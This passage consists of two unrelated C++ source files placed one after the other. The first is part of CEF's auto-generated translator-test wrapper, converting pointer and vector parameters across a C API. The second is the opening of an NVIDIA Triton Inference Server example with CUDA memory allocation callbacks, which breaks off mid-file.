false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: simple_vec_byref size_t valSize = val.size(); size_t valCount = std::max(GetPointListSize(), valSize); cef_point_t* valList = NULL; if (valCount > 0) { valList = new cef_point_t[valCount]; DCHECK(valList); if (valList) { memset(valList, 0, sizeof(cef_point_t) * valCount); } if (valList && valSize > 0) { for (size_t i = 0; i < valSize; ++i) { valList[i] = val[i]; } } } // Execute int _retval = _struct->get_point_list_by_ref(_struct, &valCount, valList); // Restore param:val; type: simple_vec_byref val.clear(); if (valCount > 0 && valList) { for (size_t i = 0; i < valCount; ++i) { val.push_back(valList[i]); } delete[] valList; } // Return type: bool return _retval ? true : false; } size_t CefTranslatorTestCToCpp::GetPointListSize() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_point_list_size)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute size_t _retval = _struct->get_point_list_size(_struct); // Return type: simple return _retval; } CefRefPtr<CefTranslatorTestRefPtrLibrary> CefTranslatorTestCToCpp::GetRefPtrLibrary(int val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_ref_ptr_library)) return NULL; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute cef_translator_test_ref_ptr_library_t* _retval = _struct->get_ref_ptr_library(_struct, val); // Return type: refptr_same return CefTranslatorTestRefPtrLibraryCToCpp::Wrap(_retval); } int CefTranslatorTestCToCpp::SetRefPtrLibrary( CefRefPtr<CefTranslatorTestRefPtrLibrary> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_ref_ptr_library)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_same DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_ref_ptr_library( _struct, CefTranslatorTestRefPtrLibraryCToCpp::Unwrap(val)); // Return type: simple return _retval; } CefRefPtr<CefTranslatorTestRefPtrLibrary> CefTranslatorTestCToCpp::SetRefPtrLibraryAndReturn( CefRefPtr<CefTranslatorTestRefPtrLibrary> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_ref_ptr_library_and_return)) return NULL; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_same DCHECK(val.get()); if (!val.get()) return NULL; // Execute cef_translator_test_ref_ptr_library_t* _retval = _struct->set_ref_ptr_library_and_return( _struct, CefTranslatorTestRefPtrLibraryCToCpp::Unwrap(val)); // Return type: refptr_same return CefTranslatorTestRefPtrLibraryCToCpp::Wrap(_retval); } int CefTranslatorTestCToCpp::SetChildRefPtrLibrary( CefRefPtr<CefTranslatorTestRefPtrLibraryChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_ref_ptr_library)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_same DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_child_ref_ptr_library( _struct, CefTranslatorTestRefPtrLibraryChildCToCpp::Unwrap(val)); // Return type: simple return _retval; } CefRefPtr<CefTranslatorTestRefPtrLibrary> CefTranslatorTestCToCpp::SetChildRefPtrLibraryAndReturnParent( CefRefPtr<CefTranslatorTestRefPtrLibraryChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_ref_ptr_library_and_return_parent)) return NULL; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_same DCHECK(val.get()); if (!val.get()) return NULL; // Execute cef_translator_test_ref_ptr_library_t* _retval = _struct->set_child_ref_ptr_library_and_return_parent( _struct, CefTranslatorTestRefPtrLibraryChildCToCpp::Unwrap(val)); // Return type: refptr_same return CefTranslatorTestRefPtrLibraryCToCpp::Wrap(_retval); } bool CefTranslatorTestCToCpp::SetRefPtrLibraryList( const std::vector<CefRefPtr<CefTranslatorTestRefPtrLibrary>>& val, int val1, int val2) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_ref_ptr_library_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: refptr_vec_same_byref_const const size_t valCount = val.size(); cef_translator_test_ref_ptr_library_t** valList = NULL; if (valCount > 0) { valList = new cef_translator_test_ref_ptr_library_t*[valCount]; DCHECK(valList); if (valList) { for (size_t i = 0; i < valCount; ++i) { valList[i] = CefTranslatorTestRefPtrLibraryCToCpp::Unwrap(val[i]); } } } // Execute int _retval = _struct->set_ref_ptr_library_list(_struct, valCount, valList, val1, val2); // Restore param:val; type: refptr_vec_same_byref_const if (valList) delete[] valList; // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetRefPtrLibraryListByRef(RefPtrLibraryList& val, int val1, int val2) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_ref_ptr_library_list_by_ref)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: refptr_vec_same_byref size_t valSize = val.size(); size_t valCount = std::max(GetRefPtrLibraryListSize(), valSize); cef_translator_test_ref_ptr_library_t** valList = NULL; if (valCount > 0) { valList = new cef_translator_test_ref_ptr_library_t*[valCount]; DCHECK(valList); if (valList) { memset(valList, 0, sizeof(cef_translator_test_ref_ptr_library_t*) * valCount); } if (valList && valSize > 0) { for (size_t i = 0; i < valSize; ++i) { valList[i] = CefTranslatorTestRefPtrLibraryCToCpp::Unwrap(val[i]); } } } // Execute int _retval = _struct->get_ref_ptr_library_list_by_ref(_struct, &valCount, valList, val1, val2); // Restore param:val; type: refptr_vec_same_byref val.clear(); if (valCount > 0 && valList) { for (size_t i = 0; i < valCount; ++i) { val.push_back(CefTranslatorTestRefPtrLibraryCToCpp::Wrap(valList[i])); } delete[] valList; } // Return type: bool return _retval ? true : false; } size_t CefTranslatorTestCToCpp::GetRefPtrLibraryListSize() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_ref_ptr_library_list_size)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute size_t _retval = _struct->get_ref_ptr_library_list_size(_struct); // Return type: simple return _retval; } int CefTranslatorTestCToCpp::SetRefPtrClient( CefRefPtr<CefTranslatorTestRefPtrClient> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_ref_ptr_client)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_diff DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_ref_ptr_client( _struct, CefTranslatorTestRefPtrClientCppToC::Wrap(val)); // Return type: simple return _retval; } CefRefPtr<CefTranslatorTestRefPtrClient> CefTranslatorTestCToCpp::SetRefPtrClientAndReturn( CefRefPtr<CefTranslatorTestRefPtrClient> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_ref_ptr_client_and_return)) return NULL; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_diff DCHECK(val.get()); if (!val.get()) return NULL; // Execute cef_translator_test_ref_ptr_client_t* _retval = _struct->set_ref_ptr_client_and_return( _struct, CefTranslatorTestRefPtrClientCppToC::Wrap(val)); // Return type: refptr_diff return CefTranslatorTestRefPtrClientCppToC::Unwrap(_retval); } int CefTranslatorTestCToCpp::SetChildRefPtrClient( CefRefPtr<CefTranslatorTestRefPtrClientChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_ref_ptr_client)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_diff DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_child_ref_ptr_client( _struct, CefTranslatorTestRefPtrClientChildCppToC::Wrap(val)); // Return type: simple return _retval; } CefRefPtr<CefTranslatorTestRefPtrClient> CefTranslatorTestCToCpp::SetChildRefPtrClientAndReturnParent( CefRefPtr<CefTranslatorTestRefPtrClientChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_ref_ptr_client_and_return_parent)) return NULL; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: refptr_diff DCHECK(val.get()); if (!val.get()) return NULL; // Execute cef_translator_test_ref_ptr_client_t* _retval = _struct->set_child_ref_ptr_client_and_return_parent( _struct, CefTranslatorTestRefPtrClientChildCppToC::Wrap(val)); // Return type: refptr_diff return CefTranslatorTestRefPtrClientCppToC::Unwrap(_retval); } bool CefTranslatorTestCToCpp::SetRefPtrClientList( const std::vector<CefRefPtr<CefTranslatorTestRefPtrClient>>& val, int val1, int val2) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_ref_ptr_client_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: refptr_vec_diff_byref_const const size_t valCount = val.size(); cef_translator_test_ref_ptr_client_t** valList = NULL; if (valCount > 0) { valList = new cef_translator_test_ref_ptr_client_t*[valCount]; DCHECK(valList); if (valList) { for (size_t i = 0; i < valCount; ++i) { valList[i] = CefTranslatorTestRefPtrClientCppToC::Wrap(val[i]); } } } // Execute int _retval = _struct->set_ref_ptr_client_list(_struct, valCount, valList, val1, val2); // Restore param:val; type: refptr_vec_diff_byref_const if (valList) delete[] valList; // Return type: bool return _retval ? true : false; } bool CefTranslatorTestCToCpp::GetRefPtrClientListByRef( RefPtrClientList& val, CefRefPtr<CefTranslatorTestRefPtrClient> val1, CefRefPtr<CefTranslatorTestRefPtrClient> val2) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_ref_ptr_client_list_by_ref)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val1; type: refptr_diff DCHECK(val1.get()); if (!val1.get()) return false; // Verify param: val2; type: refptr_diff DCHECK(val2.get()); if (!val2.get()) return false; // Translate param: val; type: refptr_vec_diff_byref size_t valSize = val.size(); size_t valCount = std::max(GetRefPtrLibraryListSize(), valSize); cef_translator_test_ref_ptr_client_t** valList = NULL; if (valCount > 0) { valList = new cef_translator_test_ref_ptr_client_t*[valCount]; DCHECK(valList); if (valList) { memset(valList, 0, sizeof(cef_translator_test_ref_ptr_client_t*) * valCount); } if (valList && valSize > 0) { for (size_t i = 0; i < valSize; ++i) { valList[i] = CefTranslatorTestRefPtrClientCppToC::Wrap(val[i]); } } } // Execute int _retval = _struct->get_ref_ptr_client_list_by_ref( _struct, &valCount, valList, CefTranslatorTestRefPtrClientCppToC::Wrap(val1), CefTranslatorTestRefPtrClientCppToC::Wrap(val2)); // Restore param:val; type: refptr_vec_diff_byref val.clear(); if (valCount > 0 && valList) { for (size_t i = 0; i < valCount; ++i) { val.push_back(CefTranslatorTestRefPtrClientCppToC::Unwrap(valList[i])); } delete[] valList; } // Return type: bool return _retval ? true : false; } size_t CefTranslatorTestCToCpp::GetRefPtrClientListSize() { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_ref_ptr_client_list_size)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute size_t _retval = _struct->get_ref_ptr_client_list_size(_struct); // Return type: simple return _retval; } CefOwnPtr<CefTranslatorTestScopedLibrary> CefTranslatorTestCToCpp::GetOwnPtrLibrary(int val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, get_own_ptr_library)) return CefOwnPtr<CefTranslatorTestScopedLibrary>(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Execute cef_translator_test_scoped_library_t* _retval = _struct->get_own_ptr_library(_struct, val); // Return type: ownptr_same return CefTranslatorTestScopedLibraryCToCpp::Wrap(_retval); } int CefTranslatorTestCToCpp::SetOwnPtrLibrary( CefOwnPtr<CefTranslatorTestScopedLibrary> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_own_ptr_library)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_same DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_own_ptr_library( _struct, CefTranslatorTestScopedLibraryCToCpp::UnwrapOwn(OWN_PASS(val))); // Return type: simple return _retval; } CefOwnPtr<CefTranslatorTestScopedLibrary> CefTranslatorTestCToCpp::SetOwnPtrLibraryAndReturn( CefOwnPtr<CefTranslatorTestScopedLibrary> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_own_ptr_library_and_return)) return CefOwnPtr<CefTranslatorTestScopedLibrary>(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_same DCHECK(val.get()); if (!val.get()) return CefOwnPtr<CefTranslatorTestScopedLibrary>(); // Execute cef_translator_test_scoped_library_t* _retval = _struct->set_own_ptr_library_and_return( _struct, CefTranslatorTestScopedLibraryCToCpp::UnwrapOwn(OWN_PASS(val))); // Return type: ownptr_same return CefTranslatorTestScopedLibraryCToCpp::Wrap(_retval); } int CefTranslatorTestCToCpp::SetChildOwnPtrLibrary( CefOwnPtr<CefTranslatorTestScopedLibraryChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_own_ptr_library)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_same DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_child_own_ptr_library( _struct, CefTranslatorTestScopedLibraryChildCToCpp::UnwrapOwn(OWN_PASS(val))); // Return type: simple return _retval; } CefOwnPtr<CefTranslatorTestScopedLibrary> CefTranslatorTestCToCpp::SetChildOwnPtrLibraryAndReturnParent( CefOwnPtr<CefTranslatorTestScopedLibraryChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_own_ptr_library_and_return_parent)) return CefOwnPtr<CefTranslatorTestScopedLibrary>(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_same DCHECK(val.get()); if (!val.get()) return CefOwnPtr<CefTranslatorTestScopedLibrary>(); // Execute cef_translator_test_scoped_library_t* _retval = _struct->set_child_own_ptr_library_and_return_parent( _struct, CefTranslatorTestScopedLibraryChildCToCpp::UnwrapOwn(OWN_PASS(val))); // Return type: ownptr_same return CefTranslatorTestScopedLibraryCToCpp::Wrap(_retval); } int CefTranslatorTestCToCpp::SetOwnPtrClient( CefOwnPtr<CefTranslatorTestScopedClient> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_own_ptr_client)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_diff DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_own_ptr_client( _struct, CefTranslatorTestScopedClientCppToC::WrapOwn(OWN_PASS(val))); // Return type: simple return _retval; } CefOwnPtr<CefTranslatorTestScopedClient> CefTranslatorTestCToCpp::SetOwnPtrClientAndReturn( CefOwnPtr<CefTranslatorTestScopedClient> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_own_ptr_client_and_return)) return CefOwnPtr<CefTranslatorTestScopedClient>(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_diff DCHECK(val.get()); if (!val.get()) return CefOwnPtr<CefTranslatorTestScopedClient>(); // Execute cef_translator_test_scoped_client_t* _retval = _struct->set_own_ptr_client_and_return( _struct, CefTranslatorTestScopedClientCppToC::WrapOwn(OWN_PASS(val))); // Return type: ownptr_diff return CefTranslatorTestScopedClientCppToC::UnwrapOwn(_retval); } int CefTranslatorTestCToCpp::SetChildOwnPtrClient( CefOwnPtr<CefTranslatorTestScopedClientChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_own_ptr_client)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_diff DCHECK(val.get()); if (!val.get()) return 0; // Execute int _retval = _struct->set_child_own_ptr_client( _struct, CefTranslatorTestScopedClientChildCppToC::WrapOwn(OWN_PASS(val))); // Return type: simple return _retval; } CefOwnPtr<CefTranslatorTestScopedClient> CefTranslatorTestCToCpp::SetChildOwnPtrClientAndReturnParent( CefOwnPtr<CefTranslatorTestScopedClientChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_own_ptr_client_and_return_parent)) return CefOwnPtr<CefTranslatorTestScopedClient>(); // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: ownptr_diff DCHECK(val.get()); if (!val.get()) return CefOwnPtr<CefTranslatorTestScopedClient>(); // Execute cef_translator_test_scoped_client_t* _retval = _struct->set_child_own_ptr_client_and_return_parent( _struct, CefTranslatorTestScopedClientChildCppToC::WrapOwn(OWN_PASS(val))); // Return type: ownptr_diff return CefTranslatorTestScopedClientCppToC::UnwrapOwn(_retval); } int CefTranslatorTestCToCpp::SetRawPtrLibrary( CefRawPtr<CefTranslatorTestScopedLibrary> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_raw_ptr_library)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: rawptr_same DCHECK(val); if (!val) return 0; // Execute int _retval = _struct->set_raw_ptr_library( _struct, CefTranslatorTestScopedLibraryCToCpp::UnwrapRaw(val)); // Return type: simple return _retval; } int CefTranslatorTestCToCpp::SetChildRawPtrLibrary( CefRawPtr<CefTranslatorTestScopedLibraryChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_raw_ptr_library)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: rawptr_same DCHECK(val); if (!val) return 0; // Execute int _retval = _struct->set_child_raw_ptr_library( _struct, CefTranslatorTestScopedLibraryChildCToCpp::UnwrapRaw(val)); // Return type: simple return _retval; } bool CefTranslatorTestCToCpp::SetRawPtrLibraryList( const std::vector<CefRawPtr<CefTranslatorTestScopedLibrary>>& val, int val1, int val2) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_raw_ptr_library_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: rawptr_vec_same_byref_const const size_t valCount = val.size(); cef_translator_test_scoped_library_t** valList = NULL; if (valCount > 0) { valList = new cef_translator_test_scoped_library_t*[valCount]; DCHECK(valList); if (valList) { for (size_t i = 0; i < valCount; ++i) { valList[i] = CefTranslatorTestScopedLibraryCToCpp::UnwrapRaw(val[i]); } } } // Execute int _retval = _struct->set_raw_ptr_library_list(_struct, valCount, valList, val1, val2); // Restore param:val; type: rawptr_vec_same_byref_const if (valList) delete[] valList; // Return type: bool return _retval ? true : false; } int CefTranslatorTestCToCpp::SetRawPtrClient( CefRawPtr<CefTranslatorTestScopedClient> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_raw_ptr_client)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: rawptr_diff DCHECK(val); if (!val) return 0; // Translate param: val; type: rawptr_diff CefOwnPtr<CefTranslatorTestScopedClientCppToC> valPtr( CefTranslatorTestScopedClientCppToC::WrapRaw(val)); // Execute int _retval = _struct->set_raw_ptr_client(_struct, valPtr->GetStruct()); // Return type: simple return _retval; } int CefTranslatorTestCToCpp::SetChildRawPtrClient( CefRawPtr<CefTranslatorTestScopedClientChild> val) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_child_raw_ptr_client)) return 0; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Verify param: val; type: rawptr_diff DCHECK(val); if (!val) return 0; // Translate param: val; type: rawptr_diff CefOwnPtr<CefTranslatorTestScopedClientChildCppToC> valPtr( CefTranslatorTestScopedClientChildCppToC::WrapRaw(val)); // Execute int _retval = _struct->set_child_raw_ptr_client(_struct, valPtr->GetStruct()); // Return type: simple return _retval; } bool CefTranslatorTestCToCpp::SetRawPtrClientList( const std::vector<CefRawPtr<CefTranslatorTestScopedClient>>& val, int val1, int val2) { cef_translator_test_t* _struct = GetStruct(); if (CEF_MEMBER_MISSING(_struct, set_raw_ptr_client_list)) return false; // AUTO-GENERATED CONTENT - DELETE THIS COMMENT BEFORE MODIFYING // Translate param: val; type: rawptr_vec_diff_byref_const const size_t valCount = val.size(); cef_translator_test_scoped_client_t** valList = NULL; if (valCount > 0) { valList = new cef_translator_test_scoped_client_t*[valCount]; DCHECK(valList); if (valList) { for (size_t i = 0; i < valCount; ++i) { valList[i] = CefTranslatorTestScopedClientCppToC::WrapRaw(val[i]) .release() ->GetStruct(); } } } // Execute int _retval = _struct->set_raw_ptr_client_list(_struct, valCount, valList, val1, val2); // Restore param:val; type: rawptr_vec_diff_byref_const if (valCount > 0) { for (size_t i = 0; i < valCount; ++i) { delete CefTranslatorTestScopedClientCppToC::GetWrapper(valList[i]); } } if (valList) delete[] valList; // Return type: bool return _retval ? true : false; } // CONSTRUCTOR - Do not edit by hand. CefTranslatorTestCToCpp::CefTranslatorTestCToCpp() {} template <> cef_translator_test_t* CefCToCppRefCounted< CefTranslatorTestCToCpp, CefTranslatorTest, cef_translator_test_t>::UnwrapDerived(CefWrapperType type, CefTranslatorTest* c) { NOTREACHED() << "Unexpected class type: " << type; return NULL; } #if DCHECK_IS_ON() template <> base::AtomicRefCount CefCToCppRefCounted<CefTranslatorTestCToCpp, CefTranslatorTest, cef_translator_test_t>::DebugObjCt ATOMIC_DECLARATION; #endif template <> CefWrapperType CefCToCppRefCounted<CefTranslatorTestCToCpp, CefTranslatorTest, cef_translator_test_t>::kWrapperType = WT_TRANSLATOR_TEST;
// Copyright 2020-2022, NVIDIA CORPORATION & AFFILIATES. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include <rapidjson/document.h> #include <rapidjson/error/en.h> #include <unistd.h> #include <chrono> #include <cstring> #include <future> #include <iostream> #include <string> #include <thread> #include <unordered_map> #include <vector> #include "common.h" #include "triton/core/tritonserver.h" #ifdef TRITON_ENABLE_GPU #include <cuda_runtime_api.h> #endif // TRITON_ENABLE_GPU namespace ni = triton::server; namespace { bool enforce_memory_type = false; TRITONSERVER_MemoryType requested_memory_type; #ifdef TRITON_ENABLE_GPU static auto cuda_data_deleter = [](void* data) { if (data != nullptr) { cudaPointerAttributes attr; auto cuerr = cudaPointerGetAttributes(&attr, data); if (cuerr != cudaSuccess) { std::cerr << "error: failed to get CUDA pointer attribute of " << data << ": " << cudaGetErrorString(cuerr) << std::endl; } if (attr.type == cudaMemoryTypeDevice) { cuerr = cudaFree(data); } else if (attr.type == cudaMemoryTypeHost) { cuerr = cudaFreeHost(data); } if (cuerr != cudaSuccess) { std::cerr << "error: failed to release CUDA pointer " << data << ": " << cudaGetErrorString(cuerr) << std::endl; } } }; #endif // TRITON_ENABLE_GPU void Usage(char** argv, const std::string& msg = std::string()) { if (!msg.empty()) { std::cerr << msg << std::endl; } std::cerr << "Usage: " << argv[0] << " [options]" << std::endl; std::cerr << "\t-m <\"system\"|\"pinned\"|gpu>" << " Enforce the memory type for input and output tensors." << " If not specified, inputs will be in system memory and outputs" << " will be based on the model's preferred type." << std::endl; std::cerr << "\t-v Enable verbose logging" << std::endl; std::cerr << "\t-r [model repository absolute path]" << std::endl; exit(1); } TRITONSERVER_Error* ResponseAlloc( TRITONSERVER_ResponseAllocator* allocator, const char* tensor_name, size_t byte_size, TRITONSERVER_MemoryType preferred_memory_type, int64_t preferred_memory_type_id, void* userp, void** buffer, void** buffer_userp, TRITONSERVER_MemoryType* actual_memory_type, int64_t* actual_memory_type_id) { // Initially attempt to make the actual memory type and id that we // allocate be the same as preferred memory type *actual_memory_type = preferred_memory_type; *actual_memory_type_id = preferred_memory_type_id; // If 'byte_size' is zero just return 'buffer' == nullptr, we don't // need to do any other book-keeping. if (byte_size == 0) { *buffer = nullptr; *buffer_userp = nullptr; std::cout << "allocated " << byte_size << " bytes for result tensor " << tensor_name << std::endl; } else { void* allocated_ptr = nullptr; if (enforce_memory_type) { *actual_memory_type = requested_memory_type; } switch (*actual_memory_type) { #ifdef TRITON_ENABLE_GPU case TRITONSERVER_MEMORY_CPU_PINNED: { auto err = cudaSetDevice(*actual_memory_type_id); if ((err != cudaSuccess) && (err != cudaErrorNoDevice) && (err != cudaErrorInsufficientDriver)) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INTERNAL, std::string( "unable to recover current CUDA device: " + std::string(cudaGetErrorString(err))) .c_str()); } err = cudaHostAlloc(&allocated_ptr, byte_size, cudaHostAllocPortable); if (err != cudaSuccess) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INTERNAL, std::string( "cudaHostAlloc failed: " + std::string(cudaGetErrorString(err))) .c_str()); } break; } case TRITONSERVER_MEMORY_GPU: { auto err = cudaSetDevice(*actual_memory_type_id); if ((err != cudaSuccess) && (err != cudaErrorNoDevice) && (err != cudaErrorInsufficientDriver)) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INTERNAL, std::string( "unable to recover current CUDA device: " + std::string(cudaGetErrorString(err))) .c_str()); } err = cudaMalloc(&allocated_ptr, byte_size); if (err != cudaSuccess) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INTERNAL, std::string( "cudaMalloc failed: " + std::string(cudaGetErrorString(err))) .c_str()); } break; } #endif // TRITON_ENABLE_GPU // Use CPU memory if the requested memory type is unknown // (default case). case TRITONSERVER_MEMORY_CPU: default: { *actual_memory_type = TRITONSERVER_MEMORY_CPU; allocated_ptr = malloc(byte_size); break; } } // Pass the tensor name with buffer_userp so we can show it when // releasing the buffer. if (allocated_ptr != nullptr) { *buffer = allocated_ptr; *buffer_userp = new std::string(tensor_name); std::cout << "allocated " << byte_size << " bytes in " << TRITONSERVER_MemoryTypeString(*actual_memory_type) << " for result tensor " << tensor_name << std::endl; } } return nullptr; // Success } TRITONSERVER_Error* ResponseRelease( TRITONSERVER_ResponseAllocator* allocator, void* buffer, void* buffer_userp, size_t byte_size, TRITONSERVER_MemoryType memory_type, int64_t memory_type_id) { std::string* name = nullptr; if (buffer_userp != nullptr) { name = reinterpret_cast<std::string*>(buffer_userp); } else { name = new std::string("<unknown>"); } std::cout << "Releasing buffer " << buffer << " of size " << byte_size << " in " << TRITONSERVER_MemoryTypeString(memory_type) << " for result '" << *name << "'" << std::endl; switch (memory_type) { case TRITONSERVER_MEMORY_CPU: free(buffer); break; #ifdef TRITON_ENABLE_GPU case TRITONSERVER_MEMORY_CPU_PINNED: { auto err = cudaSetDevice(memory_type_id); if (err == cudaSuccess) { err = cudaFreeHost(buffer); } if (err != cudaSuccess) { std::cerr << "error: failed to cudaFree " << buffer << ": " << cudaGetErrorString(err) << std::endl; } break; } case TRITONSERVER_MEMORY_GPU: { auto err = cudaSetDevice(memory_type_id); if (err == cudaSuccess) { err = cudaFree(buffer); } if (err != cudaSuccess) { std::cerr << "error: failed to cudaFree " << buffer << ": " << cudaGetErrorString(err) << std::endl; } break; } #endif // TRITON_ENABLE_GPU default: std::cerr << "error: unexpected buffer allocated in CUDA managed memory" << std::endl; break; } delete name; return nullptr; // Success } void InferRequestComplete( TRITONSERVER_InferenceRequest* request, const uint32_t flags, void* userp) { // We reuse the request so we don't delete it here. } void InferResponseComplete( 